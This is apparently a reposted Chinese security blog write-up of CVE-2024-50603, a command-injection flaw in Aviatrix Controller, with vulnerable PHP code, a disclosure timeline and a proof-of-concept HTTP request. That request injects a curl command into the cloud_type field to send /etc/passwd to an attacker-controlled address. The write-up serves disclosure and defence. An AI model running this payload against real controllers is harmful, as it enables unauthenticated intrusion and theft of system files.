Aviatrix 为企业组织提供专用基础设施,以支持其重要的业务应用和加速云计划实施。该网络平台将软件定义网络和原生服务调和,实现云与本地的结合,与添加了安全性和远程管理能力。
根据正规经验,安装和配置 Aviatrix Controller 是添加充分信任结构的重要步骤,然而该脉求让此系统是否安全成为了重大问题。根据 Shodan 分析,存在公开显露的681个 Aviatrix Controller 节点,这为脉求的利用提供了可能性。
脉求原理分析
在 Aviatrix Controller 中,涉及多个对外提供的 API 接口。通过分析本地安装的存储文件,发现这些 API 能夠接受用户提供的参数,并通过调用操作系统命令完成一实施。
下列为一个能涉及命令执行的示例:
} else if ($action == "forget_controller_password") { $username = $params["username"]; if(empty($username)) { $res["reason"] = "Username cannot be blank."; } else { $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management reset_password"; $cmdstr .= " --user_name " . escapeshellarg($username); $ret = exec_command($cmdstr, $rtn_file); if(preg_match("/true/", $ret[0])) { $res["return"] = true; $res["results"] = json_decode($ret[2])->text; } else { $res["reason"] = $ret[1]; } }}
尽管涉及参数在上述示例中使用了 escapeshellarg
,以给参数进行消毒,但有部分场景将此步骤省略。通过用 grep
查询代码,发现在处理与 cloud_type
相关的 API 调用时,没有对其采用消毒操作。
脉求利用过程
通过 HTTP 请求运行关联接口:
-
API 需要一个 CID 参数,用于表示一个会话标识符;
-
CID 的有效性只在命令执行时核实,这意味着可以定义随意值。
尽管对 account_name
,region
,和 vpc_id_name
都进行了消毒,但对于属性值为 cloud_type
的参数没有采用相同算法。通过此默认为文件所有而能调用恣意命令,比如下列请求:
POST /v1/api HTTP/1.1Host: 10.55.55.55Content-Length: 177Content-Type: application/x-www-form-urlencodedaction=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1®ion=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+"@/etc/passwd"+https://address.controlled.by.the.attacker)
通过此请求,可以触发所有命令执行,将给定文件内容发送致攻击者控制的地址。最终,攻击者可完全进入系统,实现任意代码执行。
暴露和修补过程
-
2024-10-17: 向 Aviatrix 发送脉求解释;
-
2024-10-18: 与 Aviatrix 安全团队进行面论;
-
2024-11-07: 补丁发布,通知所有用户更新;
-
2024-12-19: 正式提供修补后的版本。
原文始发于微信公众号(云梦安全):CVE-2024-50603 Aviatrix Controller RCE 发布 poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论